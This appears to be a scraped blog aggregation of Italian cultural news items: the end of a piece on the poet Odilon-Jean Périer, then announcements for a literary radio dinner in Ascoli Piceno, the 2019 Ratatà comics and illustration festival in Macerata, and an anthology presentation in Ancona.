1957 – Esce la biografia di Périer, opera di Madeleine Defrenne ed edita dal Palais des Académies di Bruxelles.
1987 – Esce nelle sale il film Il cielo sopra Berlino, opera del cineasta tedesco Wim Wenders, sì ispirata ai versi di Reiner Maria Rilke, ma che richiama il tema de Le Passage des anges.
*Presentazione, traduzione e cronologia a cura di Marco Settimini
L'articolo “Tutti avevano visto degli angeli…”. Su Odilon-Jean Périer, il poeta che ha ispirato “Il cielo sopra Berlino” (ma che nessuno si azzarda a citare) proviene da Pangea.
from pangea.news https://ift.tt/33zMIiw
0 notes
Link
ASCOLI PICENO – Venerdì 19 luglio dalle ore 19,45 il Circolo Sportivo Fondazione Carisap (Via Frazione Monticelli 164, zona Croce di Tolignano ad Ascoli Piceno) chiude il terzo ciclo della trasmissione “A cena con l’autore” (la prima trasmissione è andata in onda nel novembre 2016) con un appuntamento speciale sotto le stelle nel suggestivo scenario della piazzetta del Giardino Sensoriale.
Nel corso dell’ultimo anno, l’appuntamento mensile di “A cena con l’autore” ha accolto giornalisti (Letizia Leonardi e Maria Cristina Alfieri), scrittori (Mauro Valenti, Roberta Frascarelli e Elena Valeri), drammaturghi (Lucilio Santoni), poeti (Paolo Polvani) e attori (Luigi Lo Cascio ospite della puntata di gennaio) che hanno presentato le loro fatiche letterarie ad un pubblico interessatissimo presso il Ristorante Pizzeria Green Park.
Ogni serata è stata arricchita da apericene con menù sempre originali e gustosi preparati dallo Staff del Green Park. Ogni puntata, presentata dal conduttore Maurizio Piccioni, è stata trasmessa in diretta su Radio Ascoli nel corso degli speciali della trasmissione “Un mondo di libri”.
“Il pubblico continua a seguirci con grande affetto e assiduità – dice Maurizio Piccioni conduttore della trasmissione – apprezzando le proposte editoriali e l’originalità degli autori presentati. Ringrazio Maura Marziali, Luciano Luciani e Alessio Alessandrini che si dedicano con entusiasmo e passione alla preparazione degli incontri letterari e che intervengono in trasmissione con me come opinionisti e ringrazio lo staff del Green Park che ci ospita e propone menù sempre nuovi e molto apprezzati”
La serata di venerdì regalerà al pubblico tanti momenti di intrattenimento e uno speciale menù degustazione: alle ore 19.45 presso il Ristorante Green Park si svolgerà l’apericena, dalle 21.00 ci si sposterà nel vicino Giardino Sensoriale dove si svolgerà la serata evento che vedrà protagonista l’artista Laura Martellini che presenterà le pubblicazioni a fumetti dedicate a Sant’Emidio, San Nicola da Tolentino e Maria Assunta Pallotta
Ad accompagnare Laura saranno l’attrice Cristiana Castelli che animerà le storie ideate dalla Martellini con la lettura scenica di alcuni estratti tratti dai libri presentati e il musicista Berardo Piccioni che eseguirà dei brani durante la trasmissione. Sarà possibile ascoltare la serata anche sulle frequenze di Radio Ascoli .
“È l’occasione per presentare il mio lavoro – dice Laura Martellini – e condividere la passione per questo mestiere. Ci tengo a far conoscere il mio primo fumetto legato alla città di Ascoli in quanto ha come protagonista il suo Santo Patrono”.
“Io e Laura Martellini ci ritroviamo in occasione di A cena con l’autore – interviene Cristiana Castelli – dopo aver collaborato in passato perchè entrambe appassionate di laboratori dedicati alla famiglia, io con il teatro e Laura con il fumetto”.
Prenotazione obbligatoria ai numeri 0736.341250 o 339.49.25.860 entro venerdì mattina 19 luglio.
0 notes
Link
MACERATA – Dal 12 al 14 aprile torna con una nuova veste Ratatà Festival, il festival di fumetto, illustrazione ed editoria indipendente che fin dal suo esordio nel 2014 si è subito confermato un appuntamento innovativo per la città sostenuto dall’assessorato alla Cultura del Comune di Macerata.
L’ evento è stato presentato oggi agli organi di informazione alla presenza del sindaco Romano Carancini, dell’asesssora alla Cultura Stefania Monteverde e di Lisa Gelli e Nicola Alessadrini rispettivamente presidentessa e vice presidente dell’associazione Ratatà.
“Al sesto anno l’edizione 2019 del Ratatà Festival, infatti, sarà MUTA! “MUTA nell’accezione di cambiamento silenzioso” hanno affermato i direttori artistici Nicola Alessandrini e Lisa Gelli, artisti e co-artdirector insieme a un collettivo di artisti e illustratori.
“In un momento socio politico di profonda riflessione sull’identità, personale, nazionale, culturale -hanno aggiunto- il Ratatà festival vuole porre l’accento sulla mutazione identitaria silenziosa, su quei processi del tutto naturali che, al di fuori dei grandi e urlati processi mass-mediatici, avvengono dall’incontro dialogico, dal contatto rispettoso, dalla reciproca contaminazione fra persone, popoli, idee, e che da sempre fa parte dell’evoluzione dell’umanità. E questo, come sempre si è fatto, tramite una doppia azione, sia interna ed insita ai nostri processi creativi, sia, esternamente, tramite l’accurata selezione dei progetti proposti”.
“Abbiamo voluto rispettare il loro incedere – ha detto il sindaco Carancini riferendosi agli organizzatori del festival -quindi benissimo rilanciare e continuare a rinnovarsi ogni volta senza mai mollare”.
“La città di Macerata in questi anni ha scelto di crescere come città creativa, luogo di sperimentazione culturale e innovazione dei linguaggi artistici grazie alle tante realtà di qualità culturale che l’hanno portata ad essere tra le dieci finaliste a Capitale Italiana della Cultura 2020. – ha sottolineato invece l’assessora alla cultura Stefania Montreverde – in questo percorso Ratatà Festival ha saputo innestare un valore aggiunto al festival e occasioni di incontro e dialogo per una nuova generazione di artisti alla ricerca di nuove forme espressive, che si danno appuntamento a Macerata”.
“Per quanto riguarda la struttura interna del festival, dopo un anno di riflessione, dubbi, incertezze sul futuro del festival stesso, la soluzione che ci è sembrata più ottimale – hanno detto ancora gli organizzatori dell’associazione Ratatà – è stata quella di abbandonare per un po’ l’assetto festoso, rumoroso, voluminoso dell’evento al quale eravamo abituati per creare un appuntamento itinerante fatto di incontri, mostre, laboratori, presentazioni, per tutto il 2019 in cui ricercare un maggiore contatto con la città e i suoi abitanti, proponendo dei momenti riflessivi di altissimo livello con artisti di rilevanza internazionale.
Seguendo lo stesso filo logico, gli artisti con cui stiamo lavorando per questo anno affrontano tramite linguaggi differenti il concetto stesso di identità liquida, in continua mutazione. Nei singoli appuntamenti cercheremo di ricreare la struttura del festival, unendo momenti laboratoriali e di ricerca con le mostre, gli incontri pubblici e le attività ludiche e musicali”.
L’edizione 2019 di Ratatà avrà infatti una forma diversa rispetto agli anni passati, si svilupperà in tre macro eventi distribuiti nell’arco di tutto l’anno, da aprile a dicembre, più una serie di eventi minori che metteranno in luce progetti di rilevanza nazionale ed internazionale che stanno nascendo nel nostro territorio e che in un modo o nell’altro sono legate agli autori che nel tempo hanno gravitato attorno al festival, come testimonianza del profondo lavoro che Ratatà ha portato avanti negli anni di produzione culturale.
L’obiettivo è quello di preparare il pubblico all’edizione del festival 2020, “L’anno del topo”, dove sono previste esposizioni di disegno contemporaneo e non, una mostra mercato ancora più ricca, workshop e concerti con artisti di richiamo nazionale ed internazionale.
L’attività del 2019 è rivolta principalmente al pubblico locale, con un occhio ancora più attento al territorio, mantenendo la proposta culturale di altissimo livello internazionale.
IL PROGRAMMA
Venerdì 12 aprile
Ore 18.30, Galleria Antichi Forni
Inaugurazione mostre:
“Bordar o Sohnos”. Mostra di Flavia Bomfim , in collaborazione con Expandido, Festival di illustrazione e letteratura di Bahia (Brasile).
La mostra, consta di circa 60 opere realizzate da artisti brasiliani sotto la guida di Flavia Bomfim, in cui si esplorano, attraverso l’utilizzo del ricamo come mezzo espressivo e comunicativo, i profondi legami fra arte contemporanea e sapienza artigiana.
“RiVolti”. Mostra a cura di Monica Monachesi, Flavia Bomfim e Barbara Rigon.
Mostra in divenire in cui verranno esposte 50 opere in cui illustratori provenienti da tutto il mondo reinterpretano il proprio ritratto fotografico attraverso l’uso del ricamo.
Le mostre saranno fruibili fino al 25 aprile tutti i giorni dalle 16 alle 20, il mercoledì amche al mattino, chiuso invece il lunedì.
Ore 22 e 00, CSA Sisma
Festaaaa! Concerto di Montoya, Amphibian, dj Balli, B667.
Sabato 13 aprile
Ore 10 – 18,30, Galleria Antichi Forni
– Workshop RiVolti, Ricamare i volti, laboratorio di ricamo su ritratti fotografici, a cura di Monica Monachesi, Flavia Bomfim e Barbara Rigon.
Domenica 14 aprile
Ore 10 – 18,30, Galleria Antichi Forni
– Workshop Bordar os Sohnos, ricamare i sogni, laboratorio di ricamo su tessuto, a cura di Flavia Bomfim.
Ore 10 – 12,30, Galleria Antichi Forni
– Workshop Magliette Sfacciate, laboratorio di stampa su magliette, a cura di Monica Monachesi.
LE ARTISTE e GLI ARTISTI
Flávia Bomfim. Artista visiva, psicologa e ricercatrice di ricami nel mondo. Organizza a Salvador / Bahia il Festival di illustrazione e letteratura ampliata Expandido e fiere e pubblicazioni indipendenti; promuovere esempi di discussione sulla letteratura illustrata, produzione indipendente e commercializzazione di arti grafiche.
Ha fondato la casa editrice Movimento Continuo che è un editore ma anche una serie di azioni educative attraverso l’arte.
Sviluppa il progetto narrativo ricamato “Bordar os Sonhos” con gruppi di donne provenienti da distretti periferici in Brasile. Sviluppa anche il progetto RiVOLTI e del progetto “O Rosto é um Mapa” ( La Faccia è una Mappa), piattaforma di riflessioni sul viso come superficie di lettura e transito.
Monica Monachesi. Si occupa da oltre vent’anni di illustrazione, le interessa il mondo del libro illustrato come ambito di libertà, come luogo privilegiato di esperienze estetiche ed etiche, come spazio per la crescita dell’individuo.
È stata curatore della mostra internazionale di illustrazione Le immagini della fantasia (1998 -2017). Per Franco Cosimo Panini Ragazzi è art director della collana dedicata alle Fiabe dal Mondo ed è autrice di Le Meravigliose favole di Antonio Canova nella collana PIPPO di Topipittori (Premio Andersen Miglior progetto di divulgazione alla collana) e per la stessa collana ha coordinato Per Gioco, l’arte di divertirsi.
Assieme ad Else cura la serie dei Memory serigrafici (Memory cileno e Yōkai, memory giapponese) ed è ideatrice del progetto internazionale RiVOLTI – fotografia illustrazione e arte tessile. Come designer ha progettato giocattoli per Sevi e realizzato allestimenti scenografici. Scrive per riviste e blog specializzati e ama dedicarsi a workshop per bambini e a progetti di formazione.
Partecipa come giurato a concorsi italiani e internazionali (Tapirulan – Cremona; La Tribù dei lettori – Roma; Oltre, Disegni Diversi – Fano; Catalogo Iberoamericano – FIL Guadalajara, Messico; BIISA – Amarante Portogallo) coordinando incontri e tavole rotonde ad essi collegati.
Barbara Rigon. Fotografa italiana specializzata in musica, teatro, ritratti ed eventi.
Jhon Montoya. Nato a Pereira Colombia, residente in Italia dal 2001, Diplomato in Violino nel Conservatorio Steffani, di Castelfranco Veneto, lavora a Fabrica dal 2010, ha suonato nei più importanti teatri della Regione.
Con Fabrica ha realizzato i suoi primi lavori, El Viale e Mohs, collaborando con artisti di grande talento, attualmente è un collaboratore attivo del Venice Music Project e ha partecipato con la Filarmonia Veneta diretta dal M°Tandun alla inaugurazione del Padiglione della Cina per la Biennale d’arte di quest’anno, il suo Ultimo album IWA è prodotto dalla White Forest Records.
0 notes
Link
MACERATA – Ratatà Festival, il festival di fumetto, illustrazione ed editoria indipendente, sostenuto fin dal suo esordio avvenuto nel 2014 dall’assessorato alla Cultura del Comune di Macerata, raddoppia confermandosi un appuntamento culturale innovativo per la città. In cinque anni ha acquisito una risonanza internazionale divenendo un festival europeo apprezzato per la concentrazione di artisti e produttori culturali.
“Investiamo sui giovani, sulla internazionalizzazione e su un progetto che crea sviluppo nel nostro territorio in collaborazione con tante realtà cittadine, tra cui l’Accademia di Belle Arti e l’Università di Macerata, e ha ricadute positive sul mondo del commercio e del turismo culturale.” sottolinea il sindaco Romano Carancini. E aggiunge Stefania Monteverde, assessora alla cultura: “Continuiamo a lavorare sul progetto culturale che ha portato Macerata nella top ten delle dieci città finaliste a Capitale Italiana della Cultura 2020. Ratatà Festival contribuisce a fare della città un centro di avanguardia artistica e di produzione culturale di qualità.”
Il Comune di Macerata, sulla scia del successo riscosso dalle passate edizioni che hanno anche creato connessioni importanti con le diverse realtà cittadine sia culturali che commerciali, ha sviluppato con l’Associazione Culturale Ratatà un progetto biennale, riconoscendo al festival il merito di aver creato importanti opportunità che hanno portato a Macerata artisti di fama e un panorama di progetti artistici di grande qualità che hanno ottenuto importanti riconoscimenti a livello internazionale riuscendo a esportare e far conoscere la nostra realtà fuori dai confini nazionali.
“L’edizione 2019 di Ratatà avrà una forma diversa rispetto agli anni passati, si svilupperà in tre macro eventi distribuiti nell’arco di tutto l’anno, da aprile a dicembre, più una serie di eventi minori che mettano in luce progetti di rilevanza nazionale ed internazionale che stanno nascendo nel nostro territorio e che in un modo o nell’altro sono legate agli autori che nel tempo hanno gravitato attorno al festival, come testimonianza del profondo lavoro che abbiamo portato avanti negli anni di produzione culturale.
L’obiettivo è quello di preparare il pubblico all’edizione del festival 2020, “L’anno del topo”, dove prevediamo esposizioni di disegno contemporaneo e non, una mostra mercato ancora più ricca, workshop e concerti con artisti di richiamo nazionale ed internazionale,” spiega Nicola Alessandrini che cura il progetto insieme a un collettivo di artisti, ricercati dai festival internazionali con cui hanno stretto importanti collaborazioni. “Questa prima fase del 2019 si chiama Ratatà Muta 2019 – conclude Alessandrini – un percorso con cui rinnoviamo e rilanciamo.”
Il primo appuntamento è venerdì 12 aprile alle 18,30 alla Galleria Antichi Forni. Il primo progetto di Ratatà Muta 2019 sarà costruito attorno alle figure di Flavia Bomfim, artista visiva brasiliana, psicologa e ricercatrice di ricami nel mondo, organizzatrice a Salvador Bahia del Festival di Illustrazione e Letteratura Ampliata, Monica Monachesi, art director, curatrice, designer da più di vent’anni nell’ambito dell’illustrazione e Barbara Rigon, fotografa specializzata negli ambiti musicale e teatrale e nel ritratto, attraverso due esposizioni, Bordar os sonhos, riflessione sui linguaggi visivi tradizionali e contemporanei nell’arte tessile, e Rivolti, dialogo fra fotografia e ricamo, che inaugureranno venerdì 12 aprile 2019 alle 18,30, con tre workshop sul connubio tra illustrazione e ricamo, due rivolti ad adulti ed uno ai bambini, sabato 13 e domenica 14 aprile.
Gli eventi si svolgeranno alla Galleria Antichi Forni. Il 12 aprile saranno presentati al pubblico tutti gli appuntamenti del progetto Ratatà Festival 2019-2020.
0 notes
Link
ANCONA -Domani,sabato 19 maggio 2018, alle ore 16.30, nell’ex Sala consiliare del Comune di Ancona (Largo XXIV Maggio – Ancona), lo scrittore Cesare Baldoni presenterà il XLV volume dell’Antologia Voci Nostre. La quarantacinquesima Antologia (edizione speciale per i 50 anni di Voci Nostre) comprende nella prima parte, oltre al saluto di Antonio Mastrovincenzo, presidente del Consiglio Regionale delle Marche, l’introduzione di Annamaria Abbruzzetti, presidente dell’Associazione e le testimonianze di Cesare Baldoni, Alessandro Aiardi, Fabio Ciceroni, Antonio Luccarini, Laura Margherita Volante, Silvio Ferri e Jolanda Baldoni.
Completano la prima parte dell’Antologia le opere, in lingua ed in vernacolo, le opere pittoriche e fotografiche di 27 soci autori: Annamaria Abbruzzetti (Ancona), Irina Andreeva (Ancona – Monza), Enea Angelucci (Cingoli), Marco Ausili (Ancona), Jolanda Baldoni (Ancona), Rita Baldoni (Ancona), Rossana Bernacchia (Ancona), Annamaria Berni (Senigallia), Umberto Corradini (Montegiorgio), Adriana Galliano (Ancona), Anna Maria Galliano (Ancona), Maria Grazia Giordani (Ancona), Luciano Griffoni (San Benedetto del Tronto), Lena Maltempi (Falconara), Silveria Marcelli (Fermo), Riccardo Melotti (Bologna), Maria Teresa Miccoli (Ancona), Daniela Monachesi (Macerata), Gabriella Nicolini Cantelli (Ancona), Roberto Pagetta (Ancona), Liliana Paisa (Fabriano), Fiorina Piergigli (Senigallia), Vitaliano Ragni (Ancona), Maria Pia Silvestrini (Senigallia), Stefano Sorcinelli (Fano), Lucio Torquati (Fermo), Tito Zambelli (Falconara).
Nella seconda parte sono pubblicate le opere classificate ai primi tre posti nelle sei sezioni del XXV Concorso Letterario Internazionale “Città di Ancona”, presentate e lette da Annamaria Abbruzzetti e Roberto Pagetta nella cerimonia di premiazione svoltasi ad Ancona il 28 ottobre 2017, con l’analisi critica dello scrittore Cesare Baldoni, Presidente della Giuria, e con le riproduzioni dei premi assegnati ai vincitori delle sei sezioni del concorso, rappresentati dalle opere pittoriche offerte da Anna Maria Alessandrini, Nunzia Palumbo, Walter Paoletti, Rosanna Stronati, dai figli di Silvano Talevi e da Elsa Volpini Principi.
0 notes